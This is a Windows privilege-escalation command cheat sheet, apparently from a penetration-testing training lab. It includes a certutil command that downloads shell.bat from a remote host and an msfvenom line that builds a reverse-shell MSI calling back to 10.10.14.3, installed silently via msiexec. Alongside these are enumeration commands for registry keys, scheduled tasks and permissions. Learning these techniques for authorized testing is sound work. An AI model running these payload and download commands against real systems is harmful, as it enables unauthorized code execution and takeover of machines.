Other Commands
Transfer file with certutil
certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat
Encode file with certutil
certutil -encode file1 encodedfile
Decode file with certutil
certutil -decode encodedfile file2
Query for always install elevated registry key (1)
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
Query for always install elevated registry key (2)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
Generate a malicious MSI package
msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi > aie.msi
Executing an MSI package from command line
msiexec /i c:\users\htb-student\desktop\aie.msi /quiet /qn /norestart
Enumerate scheduled tasks
schtasks /query /fo LIST /v
Enumerate scheduled tasks with PowerShell
Get-ScheduledTask | select TaskName,State
Check permissions on a directory
.\accesschk64.exe /accepteula -s -d C:\Scripts\
Check local user description field
Get-LocalUser
Enumerate computer description field
Get-WmiObject -Class Win32_OperatingSystem | select Description
Mount VMDK on Linux
guestmount -a SQL01-disk1.vmdk -i --ro /mnt/vmd
Mount VHD/VHDX on Linux
guestmount --add WEBSRV10.vhdx --ro /mnt/vhdx/ -m /dev/sda1
Update Windows Exploit Suggester database
sudo python2.7 windows-exploit-suggester.py --update
Running Windows Exploit Suggester
python2.7 windows-exploit-suggester.py --database 2021-05-13-mssb.xls --systeminfo win7lpe-systeminfo.txt
Last updated